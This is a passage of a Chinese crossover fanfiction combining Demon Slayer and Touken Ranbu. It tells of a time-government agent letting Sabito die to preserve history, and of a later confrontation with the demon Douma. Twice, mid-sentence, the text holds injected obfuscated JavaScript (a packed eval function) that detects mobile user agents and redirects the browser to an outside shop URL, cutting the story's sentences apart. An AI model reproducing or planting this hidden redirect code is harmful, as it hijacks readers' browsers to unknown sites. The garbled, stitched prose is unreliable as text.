富冈义勇会成为水柱,会创造第十一型,而锖兔也会死在最终选拔,成为他的心结。 也会在之后救下灶门炭治郎。 既定的轨迹早已写好,按部就班地进行着。 白鸟被自己的想法惊出冷汗,在心底劝告着自己。 远处突然传来异响。 猛地抬头,巨大的圆形异形进入眼眸。手鬼的前方还有一个拿着日轮刀的人慌不择路的逃亡。 眼看手鬼伸长的一只手臂将要绊倒那人,锖兔没有丝毫犹豫,脚下加快速度,拉着那人的领子把人带到安全的地方。 看到到手的猎物被救走的手鬼也不恼,只是定定地看着锖兔头上的狐狸面具,嘴角扬起一抹愉悦的笑容:“又是小狐狸……让我看看今年有几只?” 他的视线缓缓从锖兔身上移开,落到一旁的雪姬身上。白鸟反应很快,富冈义勇第一时间被带到了石头后面,身体恰好被石头完全遮挡,没有露出半点衣角。 “两只……看来鳞泷今年收获不小啊。” 手鬼低低地笑着,声音里满是残忍与戏谑,它慢慢凑近锖兔和雪姬,并不急着攻击,就像猫捉老鼠一般,享受着捉弄猎物的快感。 锖兔握紧了手中的刀,指节泛白,不理会手鬼的挑衅,只想将其尽快击杀。 但手鬼并不打算放过他,字字都带着刺骨的寒意:“你知道我已经吃掉了多少个带狐狸面具的孩子吗。” “都是鳞泷的弟子……嘻嘻……” “够了!不要在说了!” 雪姬怒喝一声,打断了手鬼的话,不忘扭头看锖兔的表情,生怕他被手鬼扰乱心神,“不要被恶鬼影响了!” 锖兔咬牙,眼里满是怒火。他往后退了几步,身体压低,微微前倾,挥舞着日轮刀就往手鬼脖子所在的地方砍去。 下一秒,瞳孔骤然缩紧,锖兔微微瞪大了眼睛。 手鬼地狞笑和断裂的刀尖同时映入眼帘。 雪姬看见几条手臂从锖兔身后偷袭,直奔要害。 “锖兔!” 白鸟动了。 “陆奥守。”他轻声说道。 下一秒,刀剑出鞘,冷兵器碰撞的声音清脆响起,雪姬被硬生生拦在原地。 陆奥守吉行架住她的日轮刀,白鸟手中的刀尖直指雪姬的脖子,让她寸步难行。 “你们这是什么意思!” 雪姬不可置信,随即反应了过来,“你们也知道锖兔会死对不对!为什么不救他?” “让我去救他!” 方才雪姬的提醒起了作用。 锖兔在空中艰难转身,堪堪躲过,落地后第一时间转头看向白鸟所在方向,眼中带着不解。 刚才感受到的硬度已经让锖兔有所预感,他可能打不过面前的恶鬼。 但是为什么? 手鬼也注意到了下面的情况,放肆地笑了起来:“猎鬼人……哈哈……你们也有今天啊……” “是被同伴背叛了吗……真是可惜。” 它望向白鸟和陆奥守吉行,说道:“我的目标只有小狐狸们,我可以放过你,怎么样?” 白鸟没有回答,他紧紧抿着嘴,低头,不敢面对其他人的视线。 陆奥守吉行见状,开口道:“这边我来。” 纵然雪姬学了几年呼吸法,但她在剑术造诣方面肯定比不过身为刀剑男士的陆奥守吉行,更何况陆奥守吉行身上还带着白鸟的灵力,雪姬根本靠近不了锖兔,更别提帮助他斩杀手鬼了。 拦着雪姬的事情由陆奥守吉行来做,白鸟只需要确认历史不被改变,手鬼也不会发现富冈义勇就行。 陆奥守吉行的话提醒了白鸟。 他一步一步朝着富冈义勇走去。 面前的是人类,即使一只手受伤,但富冈义勇仍旧用另一只手拿起日轮刀,对准白鸟,却被对方轻轻松松拔开。 看着富冈义勇眼里的困惑、不解和愤怒,白鸟轻叹了一下。 “睡吧。” 他说道,声音轻得像一阵风。 然后白鸟伸出了一只手。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537352|203307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 富冈义勇最后看到的画面,是锖兔被手鬼刺穿,雪姬被陆奥守吉行打败的场景。 白鸟静静地站在原地,看着闭上眼的富冈义勇,想了想,把一个御守放在了他的身上。 这个御守里面有他的灵力,可以在关键时刻保人不死,拖到医疗人员的到来,也算是白鸟的愧疚。 一切结束后,手鬼不知道出于什么原因,或许是今晚看的戏让他很满意,又或许是觉得白鸟和陆奥守吉行有些邪门,不想招惹,便放过了在地上昏迷的雪姬。 “怎么办,主人。”陆奥守吉行有些头疼得看着倒在地上的雪姬。 富冈义勇不用处理,他醒来后能自己安全下山,况且还有白鸟跟在暗处,但雪姬可就难办了。 白鸟耸肩,语气无奈:“还能怎么办,找冬月呗。” “上次遇到这种情况也是联系冬月的,政府有一个仪器可以把时间溯行军强行植入的记忆去掉。” “会影响吗?”陆奥守吉行问道。 “不知道。”白鸟摇头,“只能等了。” “如果一切照旧,那就不会有任何影响。” 陆奥守吉行追问:“如果变了呢?” 白鸟的声音很冷静:“那任务就失败了。” “不过这不是我们要担心的。”话锋一转,白鸟语气轻松了起来,“而且后面还有很多机会,我们只要保证鬼被消灭就行。” “剩下的都是时之政府需要考虑的,我就是一个打工人。” 他冲着陆奥守吉行扯出一抹笑容,然后打开了和如月星凛的通讯。 * “这就是上一次任务发生的所有事情了。”回忆结束,如月星凛语气复杂,带着唏嘘与不忍, “白鸟……他的状态其实不是很好,我也能懂。” “所以手鬼记住了上次拦住雪姬的陆奥守吉行。”绫小路望若有所思地点头,“原来是这样。” 他又想起了一件事,眉头轻蹙:“白鸟留下御守没关系吗?” 如月星凛摇头:“影响不到历史,富冈义勇本来就不会死。” 至于富冈义勇会不会把御守给本该死去的人?至少从历史的结果上来看,应该是没有的。再者,这么多年过去,御守上携带的灵力早就消散,之后也不会有任何作用。 “不过下次出任务的时候,有个问题需要注意。”如月星凛突然说道,“时之政府的衣服有防护作用,最好不要轻易脱下来。” “我们不确定富冈义勇还记不记得白鸟当初的穿着,如果记得的话……” 顿了顿,语气凝重。 “你要小心,不要正面对上。” “就怕万一,你会跟白鸟一样,出现在那些人的面前。” “我们的立场只能是保护正确的历史。” 绫小路望明白这个道理。 他们站在上帝视角,心里最多只有惋惜和不忍。 但对于当初的富冈义勇来说,拦住雪姬眼睁睁看着锖兔死于手鬼的白鸟,也算是杀人凶手了。 “雪姬呢,后来她又做了什么?” 这绫小路望的最后一个问题。 “她啊……”如月星凛顿了顿,“被政府洗去了记忆,忘记了那天晚上的事,也忘记了她看到的未来。” “现在只是鬼杀队的一个普通后勤而已,不必担心。” 31.童磨 绫小路望再一次来到大正年代。 或许是事态紧急,又或是绫小路望上次的建议,这次的坐标很精准,就在锻刀村的门口。 此时门口空无一人,方便了绫小路望的行动。 刚落地,陆奥守吉行接管了他的身体,朝着某个方向马不停蹄地跑过去。 距离上次任务,绫小路望在本丸休息了三天,才接到如月星凛的紧急通讯。 刚一接通,就听到她的破口大骂: “时间溯行军这群没下限的狗东西,领导的不也是人类吗这是打算毁灭世界吗一天到晚不得安生,一群疯子怎么还不去永登极乐!” 绫小路望脸上罕见的出现空白。 这还是他之前认识的那个监察官吗?他们之间应该还没有熟到这个程度吧。 “抱歉,情绪有些激动了。” 如月星凛像是才反应过来一般,清了清嗓子,“检测部门传来消息,确认时间溯行军和鬼方面达成合作。” “上弦之二童磨出现在锻刀村,这跟原本历史上发生的不一样,估计那群没下限的**又把历史灌到他们脑子里了。” 如月星凛憎恶时间溯行军的所作所为。 “我们在童磨身上检测到了足以匹配时间溯行军的波动,所以这次你的任务只有一个,” “阻止童磨的一切行为,并把他带回政府,我们会把拿东西塞进机器里洗干净记忆扔回去。” “你能可以做到吗?”还没等绫小路望点头,如月星凛先问了出来,语气严肃, “能帮你的只有刀剑男士和你自己,因为时间压力我们不能派更多的人过去,时间紧迫,如果你不方便的话我替你去。” “但你不擅长战斗吧。”绫小路望平静地指出事实,“尤其是正面战斗。” 如月星凛没有否认:“你现在用的术是我教你的,我当然也会。而且只要在短时间内使用灵力击败对方,时间压力不会影响我。” “那都是让刀剑男士战斗,你去和我去有什么区别?”绫小路望笑了笑,接受了如月星凛的好意,“没关系的,我相信他们,也相信我自己。” “童磨是使用冰和毒的恶鬼,你的身体并不是很好,我怕你撑不住。” 如月星凛没松口,顿了顿,声音放轻,“我不能再眼睁睁看着D0009本丸的审神者出事。” 女生的声线带着颤抖,不安,和一丝恐惧。 自责?愧疚? 绫小路望不会去深究如月星凛说这话的原因。 不管她说什么,无论如月星凛有什么难言之隐,他都是要去的。 绫小路望还指望系统让他眼睛恢复呢。 “没关系的。”他手里拿着御守,指尖在御守上摩挲着,贴着上面微凉的纹路,“再说了,还有御守呢。” “不会出事的。” “我保证。” 他对如月星凛说道,信誓旦旦。 * 越靠近山,越阴冷。 每一次呼吸,绫小路望的肺部都会发出抗议。血的腥味越来越大,顺着风势不断传来,厚重的让人窒息。 但绫小路望的脚没有停下。 他现在有御守,总部也有医疗部。 只要不死就行了。 强忍着难受,绫小路望终于赶到此行的目的地。 橡木白色的发顶如同被鲜血泼洒过一般,高大的恶鬼站在原地,八字眉配合着彩色的瞳孔,一副悲天悯人之像看着倒在脚下的人,周身若有若无萦绕着寒冷的戾气。 听到脚步声,他转了过来,嘴角扬起一抹笑意,眼里却不见欣喜。 “呀,你们来了。” 他顿了顿,声音甜腻如蜜柑一般,却让听的人不寒而栗。 “让我想想……是时之政府的人吧!” 童磨拿起手中折扇,在另一只手的手掌上敲了敲,笑容大得有些诡异,“别误会呀,我不会阻止你们,无惨大人还是会死的。” “所以我们是同伴呀。” 这家伙在说什么鬼话。 也是,本来就是鬼,不说鬼话难道还能说人话吗。 绫小路望面无表情地听着童磨表演,耳边是陆奥守吉行在替他描述现场,说道童磨杀了一人时,绫小路望指尖悄然绷紧。 ……还是晚了一步。 绫小路望从如月星凛那拿了一个可伸缩的导盲杖,此刻被挂在腰间,隐藏在斗篷之下,但童磨还是注意到了他眼上的黑布,故作惊讶到:“真可怜,看不见吗?” “那我就不打你啦,反正我对你也没有兴趣。”童磨似乎真的是这么想的,抬头看了看天色,“其实啊,我是来找一个鬼的。” “你知道祢豆子妹妹吗?我是来找她的。” 灶门祢豆子,灶门炭治郎的妹妹。 资料上记载,上弦袭击锻刀村,灶门祢豆子克服阳光。 联想到鬼的特性,绫小路望很快明白了童磨的打算。 居然肆无忌惮地说出了这些话,尤其是那句“无惨会死”,究竟是童磨不在意,还是他已经脱离了鬼舞辻无惨的控制? 绫小路望倾向后者。 所以是时间溯行军干的吗? 居然直接影响人,他们所做的一切不会被时间压力影响,不会被检非违使发现吗? 将疑惑先放在一边,绫小路望对童磨说道:“你想要做什么?” 既然童磨没有攻击欲望,那他也不急,不如站在原地套套话,同时把刚才因为奔波消耗的体力补回来。 童磨居然真的回答了:“自然是克服阳光啦!” 他拍了拍掌,一副兴致盎然的模样:“刚好祢豆子妹妹是我最喜欢的类型,真是太好啦。” “克服阳光之后呢?取代鬼舞辻无惨成为新的鬼王?”绫小路望追问。 “唔……听上去也不错,”童磨认真思考了一下,“但我拒绝呢。” “无惨大人真可怜,一直在逃来逃去,这可太没意思了。” 童磨用扇子指向绫小路望 ,“他们说你什么都知道,那你一定知道万世极乐教吧。” “我是教主,是神子。” “当然要变成真的神明啊。” 声音陡然危险起来,童磨身边的寒气更甚,温度骤降,“要是变成鬼王就只能永远困在这个世界,那可真是太不幸了。” 绫小路望没想到童磨能疯成这样,在心底暗自心惊。 果然鬼都不是什么正常东西。 同时他也对时间溯行军有了全新的认知。 这已经不是在单纯的改变历史了吧,这完全是想要毁灭世界。 绫小路望根本不敢想,童磨要是真达成了他的目的,各个时空得乱成什么样。 具体参考在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539589|203307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绫小路望耳边咬牙切齿碎碎念的如月星凛。 是的,从一开始,绫小路望和如月星凛的通讯就没有断过,以便及时提供帮助,如月星凛也可以通过无障碍阅读器上的摄像头第一时间看到现场。 “居然连政府的存在都说出去了,时间溯行军那帮人疯了吧。”如月星凛最关注的是这件事,“他们这是想把这个世界线彻底毁掉。” 比起童磨想要成神的荒唐念头,如月星凛更忌惮的是时间溯行军肆无忌惮的行径。 绫小路望这次目标就是把童磨抓回时之政府总部,剩下的总部的研究人员自会处理。 最棘手的毒对刀剑男士也不会起作用,绫小路望只要护住自身安危,童磨一打五很难成功。 童磨脱离无惨控制反倒是一件好事。 他应该,不会把相关的事情告诉别人……对吧? “你不说话吗?也是,看不见很可怜吧。”童磨根本不需要绫小路望回答,一个人自言自语都能聊很久。 “这样吧,我把你变成鬼,这样你就能看见了。”童磨眼睛亮了一下,语气里带着蛊惑,“这样你应该就不会阻止我了吧。” 好敏锐。 心头一凛,绫小路望不再废话,灵力灌入夹在指尖的符纸,自燃化为点点灰烬。下一秒,第一部队的刀剑男士来到了现场。 跟上次的人选一模一样。 童磨脸上依旧带着悲天悯人的笑意,看着面前的六人,他缓缓说道:“我知道哦,毒对他们没有用。” “但是对你是有用的,对吧。” 他的目光锁定了绫小路望,什么感情都没有,眼底一片漠然。 下一秒, “血鬼术·莲叶冰” “血鬼术·结晶之御子” 陆奥守吉行躲避及时,但童磨凝结的冰晶数量实在太多,避无可避。几片冰状的花瓣擦过绫小路望的脸颊,留下细小的血痕。 眼睛上的那块黑布也裂了开来,掉在地上,露出那双毫无光亮的眼睛。 童磨感叹了一句:“真幸运。” 陆奥守吉行此刻在心底泛起几分慌乱。 他只能控制绫小路望的身体动作,却无法阻止绫小路望吸入空气中的毒素。 虽然有灵力保护,但还是不可避免地慢了一拍,被眼尖的童磨抓住了机会。 “血鬼术·蔓莲华” “对不起啦,我会让你变成鬼活下去的。”童磨的声音里带着虚假的温柔。 无数冰藤肆意生长,螺旋式的攻击轨迹带着散落的一片片冰朝着绫小路望所在的方向攻击。 乱藤四郎等刃被一个又一个的御子拖住,分身乏术,无暇顾及到绫小路望,只能眼睁睁看着童磨的血鬼术朝他攻击过去。 “快躲开!”耳边是如月星凛焦急地提醒。 来不及离开的陆奥守吉行只能抬手,护住要害,在心里祈祷时之政府做衣服的时候没有偷工减料。能抗住血鬼术的攻击。 灵力瞬间包裹住了绫小路望,他能听见自己此时心跳得特别快。 就在螺旋扩散的冰藤蔓即将触及到的时候,好像有什么东西碎了,看不见的涟漪以绫小路望为中心,向四周散开。 不知道发生什么的绫小路望只能感觉身边一下子安静了。 陆奥守吉行惊愕的声音同时响起。 “……不动了?”